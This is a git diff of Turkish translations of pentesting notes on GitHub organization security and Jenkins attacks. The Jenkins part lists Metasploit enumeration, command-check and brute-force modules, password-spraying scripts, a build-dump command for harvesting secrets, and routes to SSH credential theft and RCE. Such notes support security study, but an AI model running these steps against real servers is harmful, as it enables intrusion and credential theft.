+- **Organizasyon sahipleri**: Organizasyon sahipleri, **organizasyonunuza tam yönetim erişimine** sahiptir. Bu rol sınırlı olmalı, ancak organizasyonunuzda en az iki kişiye verilmelidir.
+- **Organizasyon üyeleri**: **Varsayılan**, yönetici olmayan rol **organizasyondaki kişiler için** organizasyon üyesidir. Varsayılan olarak, organizasyon üyeleri **bir dizi izne** sahiptir.
- **Faturalama yöneticileri**: Faturalama yöneticileri, **organizasyonunuzun faturalama ayarlarını yönetebilen** kullanıcılardır; örneğin, ödeme bilgileri.
- **Güvenlik Yöneticileri**: Organizasyon sahiplerinin herhangi bir takıma atayabileceği bir roldür. Uygulandığında, takımın her üyesine **organizasyon genelinde güvenlik uyarılarını ve ayarlarını yönetme izinleri ile organizasyondaki tüm depolar için okuma izinleri** verir.
- Eğer organizasyonunuzun bir güvenlik takımı varsa, güvenlik yöneticisi rolünü kullanarak takım üyelerine organizasyona ihtiyaç duydukları en az erişimi verebilirsiniz.
@@ -35,17 +35,17 @@ Bu rollerin izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.
### Üye Ayrıcalıkları
-_https://github.com/organizations/\/settings/member_privileges_ adresinde, **organizasyonun bir parçası olmanın getirdiği izinleri** görebilirsiniz.
+_https://github.com/organizations/\/settings/member_privileges_ adresinde, **organizasyona üye olmanın getirdiği izinleri** görebilirsiniz.
Burada yapılandırılan ayarlar, organizasyon üyelerinin aşağıdaki izinlerini gösterecektir:
- Tüm organizasyon depoları üzerinde yönetici, yazar, okuyucu veya hiçbir izin olma durumu.
-- Üyelerin özel, dahili veya genel depolar oluşturup oluşturamayacakları.
+- Üyelerin özel, dahili veya genel depolar oluşturup oluşturamayacağı.
- Depoların çatallanmasının mümkün olup olmadığı.
- Dış işbirlikçilerini davet etmenin mümkün olup olmadığı.
- Genel veya özel sitelerin yayınlanıp yayınlanamayacağı.
- Yöneticilerin depolar üzerindeki izinleri.
-- Üyelerin yeni takımlar oluşturup oluşturamayacakları.
+- Üyelerin yeni takımlar oluşturup oluşturamayacağı.
### Depo Rolleri
@@ -54,16 +54,16 @@ Varsayılan olarak depo rolleri oluşturulur:
- **Okuma**: Projenizi görüntülemek veya tartışmak isteyen **kod katkıda bulunmayanlar** için önerilir.
- **Triage**: Yazma erişimi olmadan **sorunları ve çekme isteklerini proaktif bir şekilde yönetmesi gereken katkıda bulunanlar** için önerilir.
- **Yazma**: Projenize **aktif olarak katkıda bulunanlar** için önerilir.
-- **Sürdürme**: Hassas veya yıkıcı eylemlere erişim olmadan **depoları yönetmesi gereken proje yöneticileri** için önerilir.
+- **Bakım**: Hassas veya yıkıcı eylemlere erişim olmadan **depoları yönetmesi gereken proje yöneticileri** için önerilir.
- **Yönetici**: **Proje üzerinde tam erişime** ihtiyaç duyan kişiler için önerilir; bu, güvenliği yönetmek veya bir depoyu silmek gibi hassas ve yıkıcı eylemleri içerir.
Her rolün izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-Ayrıca _https://github.com/organizations/\/settings/roles_ adresinde **kendi rollerinizi oluşturabilirsiniz**.
+Ayrıca, _https://github.com/organizations/\/settings/roles_ adresinde **kendi rollerinizi oluşturabilirsiniz**.
### Takımlar
-Bir organizasyonda oluşturulan **takımları listeleyebilirsiniz** _https://github.com/orgs/\/teams_ adresinde. Diğer takımların alt takımlarını görmek için her bir ana takıma erişmeniz gerektiğini unutmayın.
+Bir organizasyonda **oluşturulan takımları listeleyebilirsiniz**: _https://github.com/orgs/\/teams_. Diğer takımların alt takımlarını görmek için her ana takıma erişmeniz gerektiğini unutmayın.
### Kullanıcılar
@@ -81,7 +81,7 @@ Github, hesabınıza kimlik doğrulamak ve sizin adınıza işlemler gerçekleş
### **SSH Anahtarları**
-Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına izin veren bir veya daha fazla genel anahtar ile yapılandırabilirsiniz.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Anahtarları**
@@ -102,10 +102,10 @@ Oauth uygulamaları, **github bilginizin bir kısmına erişim izni veya sizi ta
Bazı **güvenlik önerileri**:
-- Bir **OAuth Uygulaması**, her zaman **tüm GitHub üzerinde kimlik doğrulaması yapılmış GitHub kullanıcısı olarak hareket etmelidir** (örneğin, kullanıcı bildirimleri sağlarken) ve yalnızca belirtilen kapsamlarla erişim sağlamalıdır.
+- Bir **OAuth Uygulaması**, her zaman **tüm GitHub üzerinde kimlik doğrulaması yapılmış GitHub kullanıcısı gibi hareket etmelidir** (örneğin, kullanıcı bildirimleri sağlarken) ve yalnızca belirtilen kapsamlarla erişim sağlamalıdır.
- Bir OAuth Uygulaması, kimlik doğrulaması yapılmış kullanıcı için "GitHub ile Giriş Yap" özelliğini etkinleştirerek bir kimlik sağlayıcı olarak kullanılabilir.
- **Tek bir depo** üzerinde hareket etmesini istiyorsanız bir **OAuth Uygulaması** oluşturmayın. `repo` OAuth kapsamı ile, OAuth Uygulamaları **kimlik doğrulaması yapılmış kullanıcının tüm** depolarında **hareket edebilir**.
-- **Takımınız veya şirketiniz için bir uygulama olarak hareket etmesi için bir OAuth Uygulaması** oluşturmayın. OAuth Uygulamaları **tek bir kullanıcı** olarak kimlik doğrulaması yapar, bu nedenle bir kişi bir şirketin kullanması için bir OAuth Uygulaması oluşturursa ve ardından şirketten ayrılırsa, başka hiç kimse buna erişemez.
+- **Takımınız veya şirketiniz** için bir uygulama olarak hareket etmesi için bir OAuth Uygulaması oluşturmayın. OAuth Uygulamaları **tek bir kullanıcı** olarak kimlik doğrulaması yapar, bu nedenle bir kişi bir şirketin kullanması için bir OAuth Uygulaması oluşturursa ve ardından şirketten ayrılırsa, başka kimse buna erişemez.
- **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) ulaşabilirsiniz.
### Github Uygulamaları
@@ -116,16 +116,16 @@ Github uygulamaları, **github bilginize erişim sağlamak veya sizi taklit etme
- GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**.
- Kendi Github uygulamanızı [https://github.com/settings/apps](https://github.com/settings/apps) adresinde oluşturabilirsiniz.
- Hesabınıza erişimi olan tüm **Github uygulamalarını** [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) adresinde görebilirsiniz.
-- İşte **Github Uygulamaları için API Uç Noktaları** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak, bunlardan bazılarına erişim sağlayabilecektir.
+- İşte **Github Uygulamaları için API Uç Noktaları**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak bazılarına erişim sağlayabilir.
- Bir **organizasyondaki** yüklü uygulamaları _https://github.com/organizations/\/settings/installations_ adresinde görebilirsiniz.
Bazı güvenlik önerileri:
- Bir GitHub Uygulaması, **bir kullanıcıdan bağımsız olarak eylemler gerçekleştirmelidir** (uygulama [kullanıcıdan sunucuya](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) jetonu kullanmıyorsa). Kullanıcıdan sunucuya erişim jetonlarını daha güvenli hale getirmek için, 8 saat sonra süresi dolacak erişim jetonları ve yeni bir erişim jetonu için değiştirilebilecek bir yenileme jetonu kullanabilirsiniz. Daha fazla bilgi için "[Kullanıcıdan sunucuya erişim jetonlarını yenileme](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" kısmına bakın.
-- GitHub Uygulamasının **belirli depolarla entegre olduğundan emin olun**.
+- GitHub Uygulamasının **belirli depolarla entegre olduğundan** emin olun.
- GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**.
- GitHub Uygulamasının, bir kullanıcının yapabileceği her şeyi bilmesini ve yapmasını beklemeyin.
-- **Sadece "GitHub ile Giriş Yap" hizmetine ihtiyacınız varsa GitHub Uygulaması kullanmayın**. Ancak bir GitHub Uygulaması, kullanıcıları _ve_ diğer şeyleri oturum açtırmak için bir [kullanıcı tanımlama akışı](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir.
+- **Sadece "GitHub ile Giriş Yap" hizmetine ihtiyacınız varsa GitHub Uygulaması kullanmayın**. Ancak bir GitHub Uygulaması, kullanıcıları _giriş yaparken_ ve diğer şeyleri yaparken bir [kullanıcı tanımlama akışı](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir.
- Sadece bir GitHub kullanıcısı olarak hareket etmek ve o kullanıcının yapabileceği her şeyi yapmak istiyorsanız bir GitHub Uygulaması oluşturmayın.
- GitHub Actions ile uygulamanızı kullanıyorsanız ve iş akışı dosyalarını değiştirmek istiyorsanız, `workflow` kapsamını içeren bir OAuth jetonu ile kullanıcı adına kimlik doğrulaması yapmalısınız. Kullanıcının iş akışı dosyasını içeren depoda yönetici veya yazma iznine sahip olması gerekir. Daha fazla bilgi için "[OAuth uygulamaları için kapsamları anlama](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" kısmına bakın.
- **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) ulaşabilirsiniz.
@@ -136,7 +136,7 @@ Bu, **github'da kimlik doğrulama yapmanın bir yolu değildir**, ancak **kötü
## Git Eylemleri
-Git eylemleri, bir olay gerçekleştiğinde **kodun yürütülmesini otomatikleştirmeye** olanak tanır. Genellikle yürütülen kod, **deponun koduyla bir şekilde ilişkilidir** (belki bir docker konteyneri oluşturmak veya PR'nin gizli bilgiler içermediğini kontrol etmek).
+Git eylemleri, bir olay gerçekleştiğinde **kodun yürütülmesini otomatikleştirmeyi** sağlar. Genellikle yürütülen kod, **deponun koduyla bir şekilde ilişkilidir** (belki bir docker konteyneri oluşturmak veya PR'nin gizli bilgiler içermediğini kontrol etmek).
### Yapılandırma
@@ -144,7 +144,7 @@ _https://github.com/organizations/\/settings/actions_ adresinde, organ
Github eylemlerinin kullanımını tamamen yasaklamak, **tüm github eylemlerine izin vermek** veya yalnızca belirli eylemlere izin vermek mümkündür.
-Ayrıca, bir Github Eylemi çalıştırmak için **kimin onayına ihtiyaç duyduğunu** ve bir Github Eylemi çalıştırıldığında **GITHUB_TOKEN'un izinlerini** yapılandırmak da mümkündür.
+Ayrıca, bir Github Eylemi çalıştırmak için **kimin onay alması gerektiğini** ve bir Github Eylemi çalıştırıldığında **GITHUB_TOKEN'un izinlerini** yapılandırmak da mümkündür.
### Git Gizli Bilgileri
@@ -170,75 +170,75 @@ example-command "$SUPER_SECRET"
> [!WARNING]
> Gizli bilgiler **yalnızca bunları tanımlayan Github Actions'tan erişilebilir**.
-> Repo veya organizasyonlarda yapılandırıldıktan sonra **github kullanıcıları onlara tekrar erişemeyecek**, sadece **değiştirebileceklerdir**.
+> Repo veya organizasyonlarda yapılandırıldıktan sonra **github kullanıcıları bunlara tekrar erişemeyecek**, yalnızca **değiştirebileceklerdir**.
Bu nedenle, **github gizli bilgilerini çalmanın tek yolu, Github Action'ı yürüten makineye erişim sağlamaktır** (bu senaryoda yalnızca Action için tanımlanan gizli bilgilere erişebileceksiniz).
### Git Ortamları
-Github, **gizli bilgileri** saklayabileceğiniz **ortamlar** oluşturmanıza olanak tanır. Ardından, ortam içindeki gizli bilgilere erişim vermek için github action'a şöyle bir şeyle erişim verebilirsiniz:
+Github, **gizli bilgileri** saklayabileceğiniz **ortamlar** oluşturmanıza olanak tanır. Ardından, ortam içindeki gizli bilgilere erişim vermek için github action'a şöyle bir şey verebilirsiniz:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+Bir ortamı **tüm dallar** (varsayılan), **yalnızca korumalı** dallar veya **hangi dalların erişebileceğini belirtmek** için yapılandırabilirsiniz.\
+Ayrıca, bir **eylem** gerçekleştirmeden önce **gerekli inceleme sayısını** ayarlayabilir veya dağıtımların devam etmesine izin vermeden önce **bir süre bekleyebilirsiniz**.
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+Bir Github Action, **github ortamında çalıştırılabilir** veya kullanıcı tarafından yapılandırılan bir **üçüncü taraf altyapısında** çalıştırılabilir.
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Birçok organizasyon, **üçüncü taraf altyapısında** Github Actions çalıştırılmasına izin verecektir çünkü genellikle **daha ucuzdur**.
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+Bir organizasyonun **kendinden barındırılan çalıştırıcılarını** _https://github.com/organizations/\/settings/actions/runners_ adresinde listeleyebilirsiniz.
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+**Github Actions'ın, github dışındaki altyapıda hangi eylemlerin çalıştırıldığını** bulmanın yolu, Github Action yapılandırma yaml'ında `runs-on: self-hosted` aramaktır.
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+**Farklı bir organizasyonun kendinden barındırılan kutusunda bir organizasyonun Github Action'ını çalıştırmak mümkün değildir** çünkü **çalıştırıcıyı yapılandırırken çalıştırıcının ait olduğu yeri bilmek için benzersiz bir token oluşturulur**.
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+Örneğin, özel **Github Runner bir makinede AWS veya GCP içinde yapılandırılmışsa**, Action **metadata uç noktasına erişim sağlayabilir** ve **makinenin çalıştığı hizmet hesabının token'ını çalabilir**.
-### Git Action Compromise
+### Git Action Kompromisi
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+Eğer tüm eylemlere (veya kötü niyetli bir eyleme) izin verilirse, bir kullanıcı **kötü niyetli** bir **Github action** kullanabilir ve bu, çalıştırıldığı **konteyneri tehlikeye atabilir**.
> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> Bir **kötü niyetli Github Action** çalıştırılması, saldırgan tarafından **istismar edilebilir**:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Eylemin erişebildiği tüm gizli bilgileri çalmak**
+> - **Yanlış yöne hareket etmek**, eğer eylem **üçüncü taraf altyapısında** çalıştırılıyorsa ve makineyi çalıştırmak için kullanılan SA token'ına erişim sağlanabiliyorsa (muhtemelen metadata servisi aracılığıyla)
+> - **Çalışma akışında** kullanılan token'ı **istismar etmek** ve **eylemin çalıştırıldığı repo kodunu çalmak veya hatta değiştirmek**.
-## Branch Protections
+## Dalları Korumak
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Dal korumaları, kullanıcılara bir depo üzerinde **tam kontrol vermemek** için tasarlanmıştır. Amaç, **bazı dallar içinde kod yazabilmek için birkaç koruma yöntemi koymaktır**.
-The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
+Bir deponun **dal korumaları** _https://github.com/\/\/settings/branches_ adresinde bulunabilir.
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> **Bir dal korumasını organizasyon düzeyinde ayarlamak mümkün değildir**. Bu nedenle, hepsi her repo üzerinde belirtilmelidir.
-Different protections can be applied to a branch (like to master):
+Bir dala (örneğin master'a) farklı korumalar uygulanabilir:
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- **Birleştirmeden önce bir PR gerektirebilirsiniz** (bu nedenle kodu doğrudan dal üzerinde birleştiremezsiniz). Eğer bu seçilirse, farklı diğer korumalar devreye girebilir:
+- **Onay sayısı gerektirin**. PR'nızın onaylanması için genellikle 1 veya 2 kişinin daha onay vermesi istenir, böylece tek bir kullanıcı kodu doğrudan birleştiremez.
+- **Yeni commitler gönderildiğinde onayları geçersiz kılın**. Aksi takdirde, bir kullanıcı meşru bir kodu onaylayabilir ve ardından kötü niyetli kod ekleyip birleştirebilir.
+- **Kod Sahiplerinden inceleme gerektirin**. Repo için en az 1 kod sahibi PR'yı onaylamalıdır (bu nedenle "rastgele" kullanıcılar onay veremez).
+- **Pull request incelemelerini geçersiz kılabilecek kişileri kısıtlayın.** Pull request incelemelerini geçersiz kılabilecek kişileri veya takımları belirtebilirsiniz.
+- **Belirtilen aktörlerin pull request gereksinimlerini atlamasına izin verin**. Bu kullanıcılar önceki kısıtlamaları atlayabilecektir.
+- **Birleştirmeden önce durum kontrollerinin geçmesini gerektirin.** Commit'i birleştirebilmek için bazı kontrollerin geçmesi gerekir (örneğin, açık metin gizli olmadığını kontrol eden bir github action).
+- **Birleştirmeden önce konuşma çözümlemesi gerektirin**. Kod üzerindeki tüm yorumlar, PR birleştirilmeden önce çözülmelidir.
+- **İmzalı commitler gerektirin**. Commitlerin imzalanması gerekir.
+- **Doğrusal tarih gerektirin.** Eşleşen dallara birleştirme commitlerinin gönderilmesini engelleyin.
+- **Yönetici dahil edin**. Bu ayarlanmazsa, yöneticiler kısıtlamaları atlayabilir.
+- **Eşleşen dallara kimlerin itme yapabileceğini kısıtlayın**. PR gönderebilecek kişileri kısıtlayın.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Gördüğünüz gibi, bir kullanıcının bazı kimlik bilgilerini elde etmeyi başarsanız bile, **repo'lar korumalı olabilir ve bu nedenle örneğin master'a kod göndermenizi engelleyebilir**.
-## References
+## Referanslar
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index babd18009..7970386be 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -10,19 +10,19 @@ Jenkins, **programlama dilleri** ve kaynak kodu depolarının neredeyse **herhan
basic-jenkins-information.md
{{#endref}}
-## Kimlik Doğrulamasız Sayım
+## Kimlik Doğrulaması Olmadan Sayfa Listeleme
Kimlik doğrulaması olmadan ilginç Jenkins sayfalarını aramak için (_/people_ veya _/asynchPeople_, bu mevcut kullanıcıları listeler) şunları kullanabilirsiniz:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
-Kullanıcı doğrulaması gerektirmeden komutları çalıştırıp çalıştıramayacağınızı kontrol edin:
+Kimlik doğrulaması gerektirmeden komutları çalıştırıp çalıştıramayacağınızı kontrol edin:
```
msf> use auxiliary/scanner/http/jenkins_command
```
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **kullanıcı adları**.
+Kimlik bilgileri olmadan _**/asynchPeople/**_ yoluna veya _**/securityRealm/user/admin/search/index?q=**_ yoluna bakarak **kullanıcı adlarını** görebilirsiniz.
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
+Jenkins sürümünü _**/oops**_ veya _**/error**_ yolundan alabilirsiniz.
.png>)
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
## Giriş
-In the basic information you can check **Jenkins'e giriş yapmanın tüm yolları**:
+Temel bilgilerde **Jenkins'e giriş yapmanın tüm yollarını** kontrol edebilirsiniz:
{{#ref}}
basic-jenkins-information.md
@@ -42,38 +42,38 @@ basic-jenkins-information.md
### Kayıt
-You will be able to find Jenkins instances that **hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.**
+Jenkins örneklerini bulabileceksiniz ki **bir hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.**
### **SSO Girişi**
-Also if **SSO** **işlevselliği**/**eklentileri** were present then you should attempt to **giriş yapmak** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+Ayrıca eğer **SSO** **işlevselliği**/**eklentileri** mevcutsa, o zaman bir test hesabı (yani, bir test **Github/Bitbucket hesabı**) kullanarak uygulamaya **giriş yapmayı** denemelisiniz. [**buradan**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) bir hile.
### Bruteforce
-**Jenkins** lacks **şifre politikası** and **kullanıcı adı brute-force önlemesi**. It's essential to **brute-force** users since **zayıf şifreler** or **kullanıcı adları şifre olarak** may be in use, even **ters kullanıcı adları şifre olarak**.
+**Jenkins**, **şifre politikası** ve **kullanıcı adı brute-force önleme** eksikliği vardır. **Zayıf şifreler** veya **şifre olarak kullanıcı adları** kullanılıyor olabileceğinden, kullanıcıları **brute-force** yapmak önemlidir, hatta **tersine çevrilmiş kullanıcı adları şifre olarak** da kullanılabilir.
```
msf> use auxiliary/scanner/http/jenkins_login
```
-### Şifre Spraying
+### Parola Spraying
-[Bu python betiğini](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) veya [bu powershell betiğini](https://github.com/chryzsh/JenkinsPasswordSpray) kullanın.
+Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Beyaz Liste Bypass
-Birçok organizasyon, **SaaS tabanlı kaynak kontrol yönetim (SCM) sistemleri** olan GitHub veya GitLab'ı, Jenkins veya TeamCity gibi **iç, kendi barındırdığı CI** çözümleri ile birleştirir. Bu yapı, CI sistemlerinin **SaaS kaynak kontrol satıcılarından webhook olayları almasına** olanak tanır, esasen pipeline işlerini tetiklemek için.
+Birçok organizasyon, **SaaS tabanlı kaynak kontrol yönetim (SCM) sistemleri** olan GitHub veya GitLab'ı, Jenkins veya TeamCity gibi **iç, kendi barındırdığı CI** çözümleri ile birleştirir. Bu yapı, CI sistemlerinin **SaaS kaynak kontrol sağlayıcılarından webhook olayları almasına** olanak tanır, esasen pipeline işlerini tetiklemek için.
-Bunu başarmak için, organizasyonlar **SCM platformlarının** **IP aralıklarını beyaz listeye alır**, böylece **webhooklar** aracılığıyla **iç CI sistemine** erişim izni verir. Ancak, **herkesin** GitHub veya GitLab'da bir **hesap** oluşturabileceğini ve bunu **webhook tetiklemek** için yapılandırabileceğini unutmamak önemlidir; bu da **iç CI sistemine** istek gönderebilir.
+Bunu başarmak için, organizasyonlar **SCM platformlarının IP aralıklarını beyaz listeye alır**, böylece **webhooklar** aracılığıyla **iç CI sistemine** erişim izni verir. Ancak, **herkesin** GitHub veya GitLab'da bir **hesap** oluşturabileceğini ve bunu **webhook tetiklemek** için yapılandırabileceğini belirtmek önemlidir; bu da potansiyel olarak **iç CI sistemine** istek gönderebilir.
-Kontrol edin: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## İç Jenkins Suistimalleri
-Bu senaryolarda Jenkins'e erişim için geçerli bir hesabınız olduğunu varsayacağız.
+Bu senaryolarda Jenkins'e erişmek için geçerli bir hesabınız olduğunu varsayacağız.
> [!WARNING]
-> Jenkins'te yapılandırılan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları **gerçekleştirip gerçekleştiremeyeceğinizi** **belirleyebilirsiniz**.
+> Jenkins'te yapılandırılan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları **gerçekleştirip gerçekleştiremeyeceğinizi** **belirleyebilirsiniz.**
-Daha fazla bilgi için temel bilgileri kontrol edin:
+Daha fazla bilgi için temel bilgilere bakın:
{{#ref}}
basic-jenkins-information.md
@@ -85,7 +85,7 @@ Eğer Jenkins'e eriştiyseniz, [http://127.0.0.1:8080/asynchPeople/](http://127.
### Düz Metin Gizli Bilgileri Bulmak için Yapıları Dökme
-Düz metin gizli bilgileri bulmak umuduyla yapı konsol çıktıları ve yapı ortam değişkenlerini dökmek için [bu betiği](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kullanın.
+Düz metin gizli bilgileri bulmak umuduyla yapı konsol çıktıları ve yapı ortam değişkenlerini dökmek için [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kullanın.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
@@ -93,21 +93,21 @@ gitleaks detect --no-git -v
```
### **SSH Kimlik Bilgilerini Çalma**
-Eğer ele geçirilen kullanıcının **yeni bir Jenkins düğümü oluşturma/değiştirme için yeterli yetkisi varsa** ve diğer düğümlere erişim için SSH kimlik bilgileri zaten saklanıyorsa, bu kimlik bilgilerini **çalarak** yeni bir düğüm oluşturup/değiştirerek ve **kimlik bilgilerini kaydedecek bir ana bilgisayar ayarlayarak** elde edebilir:
+Eğer ele geçirilen kullanıcı **yeni bir Jenkins düğümü oluşturma/değiştirme için yeterli yetkilere sahipse** ve diğer düğümlere erişim için SSH kimlik bilgileri zaten saklanıyorsa, bu kimlik bilgilerini **çalarak** yeni bir düğüm oluşturup/değiştirerek ve **kimlik bilgilerini kaydedecek bir ana bilgisayar ayarlayarak** elde edebilir:
.png>)
-Jenkins ssh kimlik bilgilerini genellikle **global sağlayıcıda** (`/credentials/`) bulabilirsiniz, bu nedenle diğer gizli bilgileri dökme şeklinizle bunları da dökebilirsiniz. Daha fazla bilgi için [**Gizli Bilgileri Dökme Bölümü**](./#dumping-secrets) bölümüne bakın.
+Genellikle Jenkins ssh kimlik bilgilerini **global provider** (`/credentials/`) içinde bulabilirsiniz, bu nedenle diğer gizli bilgileri döktüğünüz gibi bunları da dökebilirsiniz. Daha fazla bilgi için [**Gizli Bilgileri Dökme Bölümü**](./#dumping-secrets) bakın.
### **Jenkins'te RCE**
-Jenkins sunucusunda **shell almak**, saldırgana tüm **gizli bilgileri** ve **env değişkenlerini** sızdırma ve aynı ağda bulunan diğer makineleri **istismar etme** fırsatı verir veya hatta **bulut kimlik bilgilerini toplama** imkanı sağlar.
+Jenkins sunucusunda **shell almak**, saldırgana tüm **gizli bilgileri** ve **env değişkenlerini** sızdırma ve aynı ağda bulunan diğer makineleri **istismar etme** veya hatta **bulut kimlik bilgilerini toplama** fırsatı verir.
Varsayılan olarak, Jenkins **SYSTEM olarak çalışır**. Bu nedenle, onu ele geçirmek saldırgana **SYSTEM yetkileri** verecektir.
-### **Proje Oluşturma/Değiştirme ile RCE**
+### **Proje Oluşturma/Düzenleme ile RCE**
-Proje oluşturma/değiştirme, Jenkins sunucusunda RCE elde etmenin bir yoludur:
+Proje oluşturma/düzenleme, Jenkins sunucusunda RCE elde etmenin bir yoludur:
{{#ref}}
jenkins-rce-creating-modifying-project.md
@@ -121,9 +121,9 @@ Ayrıca, yeni bir proje oluşturmaktan daha gizli olabilecek bir Groovy script
jenkins-rce-with-groovy-script.md
{{#endref}}
-### Pipeline Oluşturma/Değiştirme ile RCE
+### Pipeline Oluşturma/Düzenleme ile RCE
-Ayrıca **pipeline oluşturarak/değiştirerek RCE elde edebilirsiniz**:
